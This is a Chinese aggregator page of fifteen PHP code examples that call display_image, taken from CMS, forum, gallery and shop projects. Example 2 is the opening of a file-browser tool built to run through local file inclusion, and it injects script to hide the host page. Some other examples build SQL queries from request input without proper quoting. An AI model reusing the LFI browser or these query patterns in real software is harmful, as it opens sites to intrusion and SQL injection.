当前位置: 首页>>代码示例>>PHP>>正文


PHP display_image函数代码示例

本文整理汇总了PHP中display_image函数的典型用法代码示例。如果您正苦于以下问题:PHP display_image函数的具体用法?PHP display_image怎么用?PHP display_image使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了display_image函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: index

 function index()
 {
     $this->load->model('users_model', 'users');
     // get members
     if ($users = $this->users->get_public_users()) {
         foreach ($users as $user) {
             $output['members'][] = array('member:id' => $user['userID'], 'member:avatar' => anchor('/users/profile/' . $user['userID'], display_image($this->users->get_avatar($user['avatar']), 'User Avatar', 80, 'class="avatar"', $this->config->item('staticPath') . '/images/noavatar.gif')), 'member:name' => $user['displayName'] ? $user['displayName'] : $user['firstName'] . ' ' . $user['lastName'], 'member:email' => $user['email'], 'member:group' => $user['groupName'] ? $user['groupName'] : '', 'member:link' => site_url('/users/profile/' . $user['userID']));
         }
     }
     // set page heading
     $output['page:title'] = $this->site->config['siteName'] . ' | Members';
     $output['page:heading'] = anchor('/community/members', 'Members');
     // set pagination
     $output['pagination'] = ($pagination = $this->pagination->create_links()) ? $pagination : '';
     // display with cms layer
     $this->pages->view('community_members', $output, TRUE);
 }
开发者ID:billaldev,项目名称:halogy,代码行数:17,代码来源:community.php

示例2: define

define('SCRIPT_NAME', str_replace('\\', '/', $_SERVER['SCRIPT_NAME']));
define('DIR', isset($_GET['d']) ? $_GET['d'] : (isset($_POST['d']) ? $_POST['d'] : '.'));
define('IS_LFI_BASED', basename(__FILE__) == basename($_SERVER['SCRIPT_NAME']) ? false : true);
define('MODE', isset($_GET['mode']) ? $_GET['mode'] : (isset($_POST['mode']) ? $_POST['mode'] : 'browser'));
if (function_exists('date_default_timezone_get')) {
    $TZ = @date_default_timezone_get();
} elseif (strlen(ini_get('date.timezone'))) {
    $TZ = ini_get('date.timezone');
} elseif (IS_WIN == false and file_exists('/etc/timezone')) {
    $TZ = file_get_contents('/etc/timezone');
} else {
    $TZ = 'UTC';
}
@date_default_timezone_set($TZ);
if (isset($_GET['genimg']) && !empty($_GET['genimg'])) {
    display_image($_GET['genimg']);
    die;
}
if (AUTHENT == true and !isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER']) !== USER_HASH || md5($_SERVER['PHP_AUTH_PW']) !== PASS_HASH) {
    header('WWW-Authenticate: Basic realm="authent"');
    header('HTTP/1.0 401 Unauthorized');
    exit('<b><a href="">Realm</a> : Access Denied</b>');
}
/* For LFI-based usage, hide previous page output */
$html_header = '';
if (IS_LFI_BASED) {
    $html_header .= '<script>document.getElementsByTagName("body")[0].innerHTML="";</script>';
}
$html_header .= '<html><head><title>PHP Browser</title></head><body>';
$html_footer = '<body></html>';
$css = '<style>* {font-family: monospace, sans-serif;font-size: 11px;background-color: #fff;}
开发者ID:dot-Sean,项目名称:Tools-2,代码行数:31,代码来源:myphpbrowser.php

示例3: route_request

function route_request($request)
{
    if (!empty($request['p'])) {
        if ($request['p'] === 'index') {
            // Display a full list of images
            return display_index();
        } else {
            // Display the requested image if it exists, the latest otherwise
            if (image_exists($request['p'] . '.jpg')) {
                return display_image($request['p'] . '.jpg');
            } else {
                return display_latest();
            }
        }
    } else {
        // Display the latest image
        return display_latest();
    }
}
开发者ID:jkbockstael,项目名称:elite-gallery,代码行数:19,代码来源:index.php

示例4: search

 function search($tag = '')
 {
     // get partials
     $output = $this->partials;
     // set tags
     $query = $tag ? $tag : strip_tags($this->input->post('query', TRUE));
     if ($userIDs = $this->users->search_users($query)) {
         // get members
         if ($users = $this->users->get_users($userIDs)) {
             foreach ($users as $user) {
                 $output['members'][] = array('member:avatar' => anchor('/users/profile/' . $user['userID'], display_image($this->users->get_avatar($user['avatar']), 'User Avatar', 80, 'class="avatar"', site_url() . $this->config->item('staticPath') . '/images/noavatar.gif')), 'member:name' => $user['displayName'] ? $user['displayName'] : $user['firstName'] . ' ' . $user['lastName'], 'member:link' => site_url('/users/profile/' . $user['userID']));
             }
         }
     }
     // set title
     $output['page:title'] = $this->site->config['siteName'] . ' | Searching Users for "' . $query . '"';
     $output['page:heading'] = 'Search Users for: "' . $query . '"';
     // set pagination
     $output['pagination'] = ($pagination = $this->pagination->create_links()) ? $pagination : '';
     // display with cms layer
     $this->pages->view('community_members', $output, 'community');
 }
开发者ID:NaszvadiG,项目名称:ForgeIgniter-CI-2.x,代码行数:22,代码来源:users.php

示例5: query

<?php

if (isset($_GET['id'])) {
    $query = query("SELECT * FROM products WHERE product_id = " . escape_string($_GET['id']) . " ");
    confirm($query);
    while ($row = fetch_array($query)) {
        $product_title = escape_string($row['product_title']);
        $product_category_id = escape_string($row['product_category_id']);
        $product_price = escape_string($row['product_price']);
        $product_description = escape_string($row['product_description']);
        $short_desc = escape_string($row['short_desc']);
        $product_quantity = escape_string($row['product_quantity']);
        $product_image = escape_string($row['product_image']);
        $product_image = display_image($row['product_image']);
    }
    update_products();
}
?>


<h1 class="page-header">
    商品を編集
</h1>

<form action="" method="POST" enctype="multipart/form-data">
    <div class="col-md-8">
        <div class="form-group">
            <label for="product-title">商品名</label>
            <input type="text" name="product_title" class="form-control" value="<?php 
echo $product_title;
?>
开发者ID:shijun2001,项目名称:ESHOP,代码行数:31,代码来源:edit_product.php

示例6: getuserlevel

     } else {
         echo $is_mod ? $locale['user1'] : getuserlevel($data['user_level']);
     }
 }
 echo "</span><br /><br />\n";
 echo "<!--forum_thread_user_info--><span class='small'><strong>" . $locale['502'] . "</strong> " . $data['user_posts'] . "</span><br />\n";
 echo "<span class='small'><strong>" . $locale['504'] . "</strong> " . showdate("%d.%m.%y", $data['user_joined']) . "</span><br />\n";
 echo "<br /></td>\n<td valign='top' class='tbl1'>\n";
 if (iMOD) {
     echo "<div style='float:right'><input type='checkbox' name='delete_post[]' value='" . $data['post_id'] . "' /></div>\n";
 }
 echo nl2br(parseubb($message));
 echo "<!--sub_forum_post_message-->";
 if ($data['attach_id']) {
     if (in_array($data['attach_ext'], $imagetypes) && @getimagesize(FORUM . "attachments/" . $data['attach_name'])) {
         echo "\n<hr />\n" . $data['user_name'] . $locale['506'] . "<br /><br />\n" . display_image($data['attach_name']) . "<br />[" . parsebytesize(filesize(FORUM . "attachments/" . $data['attach_name'])) . "]\n";
     } else {
         echo "\n<hr />\n" . $data['user_name'] . $locale['507'] . "<br />\n<a href='" . FUSION_SELF . "?thread_id=" . $_GET['thread_id'] . "&amp;getfile=" . $data['post_id'] . "'>" . $data['attach_name'] . "</a>";
     }
 }
 if ($data['post_edittime'] != "0") {
     echo "\n<hr />\n" . $locale['508'] . "<a href='../profile.php?lookup=" . $data['post_edituser'] . "'>" . $data['edit_name'] . "</a>" . $locale['509'] . showdate("forumdate", $data['post_edittime']);
 }
 if ($data['post_showsig'] && array_key_exists("user_sig", $data) && $data['user_sig']) {
     echo "\n<hr />" . nl2br(parseubb(parsesmileys($data['user_sig']), "b|i|u||center|small|url|mail|img|color"));
 }
 echo "<!--sub_forum_post--></td>\n</tr>\n";
 echo "<tr>\n<td class='tbl2' style='width:140px;white-space:nowrap'>";
 if ($settings['forum_ips'] && iMEMBER || iMOD) {
     echo "<strong>" . $locale['571'] . "</strong>: " . $data['post_ip'];
 } else {
开发者ID:simplyianm,项目名称:clububer,代码行数:31,代码来源:viewthread.php

示例7: search

 function search($query = '')
 {
     // load helper
     $this->load->helper('bbcode');
     // get partials
     $output = $this->partials;
     // set query
     $data['query'] = $query ? $query : $this->input->post('query');
     // search
     if ($messages = $this->messages->search_messages($data['query'])) {
         foreach ($messages as $message) {
             $output['messages'][] = array('message:class' => $message['unread'] && $message['userID'] != $this->session->userdata('userID') ? ' unread ' : '', 'user:avatar' => anchor('/users/profile/' . $message['userID'], display_image($this->users->get_avatar($message['avatar']), 'User Avatar', 40, 'class="avatar"', $this->config->item('staticPath') . '/images/noavatar.gif')), 'user:name' => $message['displayName'] ? $message['displayName'] : $message['firstName'] . ' ' . $message['lastName'], 'user:link' => site_url('/users/profile/' . $message['userID']), 'message:link' => site_url('/messages/read/' . ($message['parentID'] > 0 ? $message['parentID'] . '#reply' . $message['lastMessageID'] : $message['messageID'])), 'message:title' => $message['subject'], 'message:date' => dateFmt($message['dateCreated'], $this->site->config['dateOrder'] == 'MD' ? 'M jS Y, H:i' : 'jS M Y, H:i'), 'message:body' => strlen(bbcode($message['message'])) > 80 ? substr(bbcode($message['message']), 0, 100) . '...' : bbcode($message['message']), 'message:id' => $message['messageID']);
         }
     }
     // set pagination
     $output['pagination'] = ($pagination = $this->pagination->create_links()) ? $pagination : '';
     // set title
     $output['page:title'] = $this->site->config['siteName'] . ' - Searching Messages for "' . $data['query'] . '"';
     $output['page:heading'] = 'Search Messages for: "' . $data['query'] . '"';
     // display with cms layer
     $this->pages->view('community_messages', $output, 'community');
 }
开发者ID:NaszvadiG,项目名称:ForgeIgniter-CI-2.x,代码行数:22,代码来源:messages.php

示例8: read

 function read()
 {
     // get partials
     $output = $this->partials;
     // get post based on uri
     $year = $this->uri->segment(2);
     $month = $this->uri->segment(3);
     $uri = $this->uri->segment(4);
     if ($post = $this->blog->get_post($year, $month, $uri)) {
         // add comment
         if (count($_POST)) {
             // required
             $this->core->required = array('fullName' => 'Full name', 'comment' => 'Comment');
             // check for spam
             preg_match_all('/http:\\/\\//i', $this->input->post('comment'), $urlMatches);
             preg_match_all('/viagra|levitra|cialis/i', $this->input->post('comment'), $spamMatches);
             if (count($urlMatches[0]) > 2 || count($urlMatches[0]) > 0 && count($spamMatches[0]) > 0) {
                 $this->form_validation->set_error('Sorry but your comment looks like spam. Please remove links and try again.');
             } elseif (isset($_POST['captcha']) && !$this->_captcha_check()) {
                 $this->form_validation->set_error('Sorry you didn\'t pass the spam check. Please contact us to post a comment.');
             } else {
                 // set date
                 $this->core->set['dateCreated'] = date("Y-m-d H:i:s");
                 $this->core->set['postID'] = $post['postID'];
                 // awaiting moderation
                 if ($this->session->userdata('session_admin')) {
                     $this->core->set['active'] = 1;
                 } else {
                     $this->core->set['active'] = 0;
                 }
                 // update
                 if ($this->core->update('blog_comments')) {
                     // get insertID
                     $commentID = $this->db->insert_id();
                     // get details on post poster
                     $user = $this->blog->get_user($post['userID']);
                     // construct URL
                     $url = '/blog/' . $year . '/' . $month . '/' . $uri . '/';
                     if ($user['notifications'] && !$this->session->userdata('session_admin')) {
                         // set header and footer
                         $emailHeader = str_replace('{name}', $user['firstName'] . ' ' . $user['lastName'], $this->site->config['emailHeader']);
                         $emailHeader = str_replace('{email}', $user['email'], $emailHeader);
                         $emailFooter = str_replace('{name}', $user['firstName'] . ' ' . $user['lastName'], $this->site->config['emailFooter']);
                         $emailFooter = str_replace('{email}', $user['email'], $emailFooter);
                         // send email
                         $this->load->library('email');
                         $this->email->from($this->site->config['siteEmail'], $this->site->config['siteName']);
                         $this->email->to($user['email']);
                         $this->email->subject('New Blog Comment on ' . $this->site->config['siteName']);
                         $this->email->message($emailHeader . "\n\nSomeone has just commented on your blog post titled \"" . $post['postTitle'] . "\".\n\nYou can either approve or delete this comment by clicking on the following URL:\n\n" . site_url('/admin/blog/comments') . "\n\nThey said:\n\"" . $this->input->post('comment') . "\"\n\n" . $emailFooter);
                         $this->email->send();
                     }
                     // output message
                     $output['message'] = 'Thank you, your comment has been posted and is awaiting moderation.';
                     // disable form
                     $post['allowComments'] = 0;
                 }
             }
         }
         // set page title
         $output['page:title'] = $post['postTitle'] . ($this->site->config['siteName'] ? ' - ' . $this->site->config['siteName'] : '');
         // set meta description
         if ($post['excerpt']) {
             $output['page:description'] = $post['excerpt'];
         }
         // get author details
         $author = $this->blog->lookup_user($post['userID']);
         // populate template
         $output['post:title'] = $post['postTitle'];
         $output['post:link'] = site_url('blog/' . dateFmt($post['dateCreated'], 'Y/m') . '/' . $post['uri']);
         $output['post:date'] = dateFmt($post['dateCreated'], $this->site->config['dateOrder'] == 'MD' ? 'M jS Y' : 'jS M Y');
         $output['post:day'] = dateFmt($post['dateCreated'], 'd');
         $output['post:month'] = dateFmt($post['dateCreated'], 'M');
         $output['post:year'] = dateFmt($post['dateCreated'], 'y');
         $output['post:body'] = $this->template->parse_body($post['body']);
         $output['post:excerpt'] = $this->template->parse_body($post['excerpt']);
         $output['post:comments-count'] = $post['numComments'];
         $output['post:author'] = $author['displayName'] ? $author['displayName'] : $author['firstName'] . ' ' . $author['lastName'];
         $output['post:author-id'] = $author['userID'];
         $output['post:author-email'] = $author['email'];
         $output['post:author-avatar'] = anchor('/users/profile/' . $author['userID'], display_image($this->blog->get_user_avatar($author['avatar']), 'User Avatar', 100, 'class="bordered"', site_url() . $this->config->item('staticPath') . '/images/noavatar.gif'));
         $output['post:author-gravatar'] = 'http://www.gravatar.com/avatar.php?gravatar_id=' . md5(trim($author['email'])) . '&default=' . urlencode(site_url('/static/uploads/avatars/noavatar.gif'));
         $output['post:author-bio'] = empty($author['bio']) ? 'This Author has no bio set yet.' : $author['bio'];
         $output['post:allow-comments'] = $post['allowComments'] ? TRUE : FALSE;
         $output['form:name'] = set_value('fullName', $this->session->userdata('firstName') . ' ' . $this->session->userdata('lastName'));
         $output['form:email'] = set_value('email', $this->session->userdata('email'));
         $output['form:website'] = $this->input->post('website');
         $output['form:comment'] = $this->input->post('comment');
         // get cats
         if ($cats = $this->blog->get_cats_for_post($post['postID'])) {
             $i = 0;
             foreach ($cats as $cat) {
                 $output['post:categories'][$i]['category:link'] = site_url('blog/' . url_title(strtolower(trim($cat))));
                 $output['post:categories'][$i]['category'] = $cat;
                 $i++;
             }
         }
         // get tags
         if ($post['tags']) {
             $tags = explode(',', $post['tags']);
//.........这里部分代码省略.........
开发者ID:NaszvadiG,项目名称:ForgeIgniter-CI-2.x,代码行数:101,代码来源:blog.php

示例9: addreply

 function addreply($topicID = '', $postID = '')
 {
     // check user is logged in, if not send them away from this controller
     if (!$this->session->userdata('session_user')) {
         redirect('/users/login/' . $this->core->encode($this->uri->uri_string()));
     }
     if (!$topicID || !($topic = $this->forums->get_topic($topicID))) {
         show_error('Please make sure you post in a valid topic.');
     }
     if ($topic['locked'] && @(!in_array('forums', @$this->permission->permissions))) {
         show_error('You cannot reply to this topic as it is locked.');
     }
     // check they aren't posting again too soon
     if ($this->session->userdata('lastPost') > strtotime('-5 seconds')) {
         $this->form_validation->set_error('Hold on, please wait a few more seconds before posting.');
     }
     // get user info
     $user = $this->forums->get_user($topic['userID']);
     // get forum info
     $forum = $this->forums->get_forum($topic['forumID']);
     // get post for quotes
     if ($postID && ($post = $this->forums->get_post($postID))) {
         $quote = '[quote]' . $post['body'] . '[/quote]' . "\n";
     }
     // get posts
     if ($posts = $this->forums->get_posts($topicID, 10)) {
         foreach ($posts as $post) {
             $output['posts'][] = array('post:id' => $post['postID'], 'post:date' => dateFmt($post['dateCreated']), 'post:links' => anchor('/forums/addreply/' . $post['topicID'] . '/' . $post['postID'], 'Quote'), 'post:body' => bbcode($post['body']), 'user:name' => anchor('/users/profile/' . $post['userID'], $post['displayName'] ? $post['displayName'] : $post['firstName'] . ' ' . $post['lastName']), 'user:group' => $post['groupName'] ? $post['groupName'] : '', 'user:avatar' => anchor('/users/profile/' . $post['userID'], display_image($this->forums->get_avatar($post['avatar']), 'post Avatar', 80, 'class="avatar"', base_url() . $this->config->item('staticPath') . '/images/noavatar.gif')), 'user:posts' => $post['posts'], 'user:kudos' => $post['kudos'], 'user:signature' => $post['signature'] ? '<hr /><small>' . bbcode($post['signature']) . '</small>' : '');
         }
     }
     if (count($_POST)) {
         // required
         $this->core->required = array('body' => array('label' => 'Post Body', 'rules' => 'required'));
         // set stuff
         $this->core->set['dateCreated'] = date("Y-m-d H:i:s");
         $this->core->set['topicID'] = $topicID;
         $this->core->set['userID'] = $this->session->userdata('userID');
         // update
         if ($this->core->update('forums_posts')) {
             // load email lib
             $this->load->library('email');
             // get postID
             $postID = $this->db->insert_id();
             // update topic count and latest post
             $this->forums->add_reply($topicID, $topic['forumID'], $postID);
             // get subscriptions
             $subscribers = $this->forums->get_subscriptions($topicID);
             // subscribe to topic
             if (@(!in_array($this->session->userdata('userID'), $subscribers))) {
                 $this->forums->add_subscription($topicID, $this->session->userdata('userID'));
             }
             // email those subscribed
             if ($users = $this->forums->get_emails($subscribers)) {
                 foreach ($users as $sub) {
                     // set header and footer
                     $emailHeader = str_replace('{name}', $sub['firstName'] . ' ' . $sub['lastName'], $this->site->config['emailHeader']);
                     $emailHeader = str_replace('{email}', $sub['email'], $emailHeader);
                     $emailFooter = str_replace('{name}', $sub['firstName'] . ' ' . $sub['lastName'], $this->site->config['emailFooter']);
                     $emailFooter = str_replace('{email}', $sub['email'], $emailFooter);
                     $this->email->from($this->site->config['siteEmail'], $this->site->config['siteName']);
                     $this->email->to($sub['email']);
                     $this->email->subject('Subscription Notification for ' . $topic['topicTitle']);
                     $this->email->message($emailHeader . "\n\nSomeone replied to a topic you are subscribed to titled \"" . $topic['topicTitle'] . "\".\n\nYou can view this topic by clicking on the link below:\n\n" . site_url('/forums/viewpost/' . $postID) . "\n\nThey said:\n\"" . $this->input->post('body') . "\"\n\n" . $emailFooter);
                     $this->email->send();
                 }
             }
             // set last post session var
             $this->session->set_userdata('lastPost', strtotime('now'));
             // where to redirect to
             redirect('/forums/viewpost/' . $postID);
         }
     }
     // set permissions
     $output['moderator'] = @in_array('forums', @$this->permission->permissions) ? TRUE : FALSE;
     // populate template
     $output['form:body'] = $this->input->post('body') ? $this->input->post('body') : @$quote;
     // load errors
     $output['errors'] = validation_errors() ? validation_errors() : FALSE;
     // set title and breadcrumb
     $output['page:title'] = $this->site->config['siteName'] . ' | Post Reply';
     $output['breadcrumb'] = (isset($forum['catName']) ? anchor('/forums', $forum['catName']) : anchor('/forums', 'Forums')) . ' &gt; ' . anchor('/forums/viewforum/' . $forum['forumID'], $forum['forumName']) . ' &gt; ' . anchor('/forums/viewtopic/' . $topicID, $topic['topicTitle']);
     // display with cms layer
     $this->pages->view('forums_post_reply', $output, TRUE);
 }
开发者ID:NaszvadiG,项目名称:ForgeIgniter-CI-2.x,代码行数:84,代码来源:forums.php

示例10: display_image

			</ul>	
		</li>
		<?php 
    }
} else {
    ?>
		<li>No updates from anyone :(</li>
		<?php 
}
?>
	</ol>
</div>
<div id="sidebar">
	<div class="mainInfo">
		<?php 
echo display_image("", "", asset_profiles() . $user_id . "/large_", $image, asset_profiles() . "large_nopicture.png", $name . "'s profile picture");
?>
 
		<ul>
			<?php 
echo display_value("li", "", "", "", $name);
?>
			<?php 
echo display_value("li", "", "", "Location: ", $location);
?>
			<?php 
echo display_value("li", "", "", "Web: ", $url, $url, "_blank");
?>
		
			<?php 
echo display_value("li", "", "", "Bio: ", $bio);
开发者ID:pegasus2013,项目名称:socialigniter,代码行数:31,代码来源:index.php

示例11: anchor

        echo anchor('/admin/images/edit/' . $image['imageID'] . '/' . $this->core->encode($this->uri->uri_string()), '<img src="' . $this->config->item('staticPath') . '/images/btn_edit.png" alt="Edit" />', 'class="edit"');
        ?>
				
					<?php 
        echo anchor('/admin/images/delete/' . $image['imageID'] . '/' . $this->core->encode($this->uri->uri_string()), '<img src="' . $this->config->item('staticPath') . '/images/btn_delete.png" alt="Delete" />', 'onclick="return confirm(\'Are you sure you want to delete this image?\')"');
        ?>
				</div>					

				<a href="<?php 
        echo $imagePath;
        ?>
" title="<?php 
        echo $image['imageName'];
        ?>
" class="lightbox"><?php 
        echo ($thumb = display_image($imageThumbPath, $image['imageName'], 100, 'class="pic"')) ? $thumb : display_image($imagePath, $image['imageName'], 100, 'class="pic"');
        ?>
</a>

				<p><strong><?php 
        echo $image['imageRef'];
        ?>
</strong></p>
				
		<?php 
        echo '</td>' . "\n";
        $i++;
    }
    for ($x = 0; $x < $itemsPerRow - $i; $x++) {
        echo '<td width="' . floor(1 / $itemsPerRow * 100) . '%">&nbsp;</td>';
    }
开发者ID:billaldev,项目名称:halogy,代码行数:31,代码来源:viewall.php

示例12: foreach

	<ul>
		<?php 
    foreach ($images as $image) {
        $imageData = $this->uploads->load_image($image['imageRef']);
        $imagePath = $imageData['src'];
        $imageData = $this->uploads->load_image($image['imageRef'], true);
        $imageThumbPath = $imageData['src'];
        ?>
			<li class="fixed">
				<div class="halogycms_thumb">
					<a href="#" class="halogycms_insertimage" title="<?php 
        echo $image['imageRef'];
        ?>
"><?php 
        echo ($thumb = display_image($imageThumbPath, $image['imageName'], 50)) ? $thumb : display_image($imagePath, $image['imageName'], 50);
        ?>
</a>
				</div>
				<div class="halogycms_description">
					<a href="#" class="halogycms_insertimage" title="<?php 
        echo $image['imageRef'];
        ?>
"><?php 
        echo $image['imageRef'];
        ?>
</a>
				</div>	
			</li>
		<?php 
    }
开发者ID:billaldev,项目名称:halogy,代码行数:30,代码来源:browser.php

示例13: query

    <?php 
include "./front/side_nav.php";
?>

    <?php 
$query = query("SELECT * FROM products WHERE product_id = " . escape_string($_GET['id']) . " ");
confirm($query);
while ($row = fetch_array($query)) {
    ?>

	<div class="col-md-9">
		<!-- Row for Image and Short Description-->
		<div class="row">
			<div class="col-md-7">
					<img class="img-responsive" src="<?php 
    echo display_image($row['product_image']);
    ?>
" alt="">
			</div>
			<div class="col-md-5">
				<div class="thumbnail"> 
					<div class="caption-full">
				        <h4><a href="#"><?php 
    echo $row['product_title'];
    ?>
</a></h4>
				        <hr>
				        <h4 class=""><?php 
    echo "&yen;" . number_format($row['product_price']);
    ?>
</h4>
开发者ID:shijun2001,项目名称:ESHOP,代码行数:31,代码来源:item.php

示例14: base_url

<div id="content">
	<div class="user_profile_content_left">
	
		<h1><a class="user_profile_name" href="<?php 
echo base_url() . 'profile/' . $username;
?>
"><?php 
echo $name;
?>
</a></h1>
	
		<a class="user_profile_image" href="<?php 
echo base_url() . 'profile/' . $username;
?>
"><?php 
echo display_image("", "", asset_profiles() . $user_id . "/original_", $image, asset_profiles() . "bigger_nopicture.png", $name . "'s profile picture");
?>
</a>
	
	</div>
</div>
开发者ID:pegasus2013,项目名称:socialigniter,代码行数:21,代码来源:image.php

示例15: imagesy

    $desired_width2 = imagesy($source_image) * 2;
    make_thumb($tmp_name, $img2_dest, $desired_width1);
    make_thumb($tmp_name, $img3_dest, $desired_width2);
    //finish creating thumbnails. They're supposed to be in their physical location
    //move the uploaded iamge into the file system
    $movefile = move_uploaded_file($tmp_name, $img1_dest);
    if ($movefile) {
        //now need to insert data into database
        $hsl = mysql_query("insert into image values('','{$imagename}','{$description}')");
        if ($hsl) {
            echo "<script>alert('Insert to the database success!')</script>";
        } else {
            echo "<script>alert('Error Table database')</script>";
        }
        //display images
        display_image($img1_dest, $img2_dest, $img3_dest, $imagename, $description);
    } else {
        echo "upload directory is not writable";
    }
} else {
    echo "Please choose a file to submit";
}
function make_thumb($src, $dest, $desired_width)
{
    /* read the source image */
    $source_image = imagecreatefromjpeg($src);
    $width = imagesx($source_image);
    $height = imagesy($source_image);
    /* find the "desired height" of this thumbnail, relative to the desired width  */
    $desired_height = floor($height * ($desired_width / $width));
    /* create a new, "virtual" image */
开发者ID:Truelj,项目名称:Start_web,代码行数:31,代码来源:upload.php


注:本文中的display_image函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。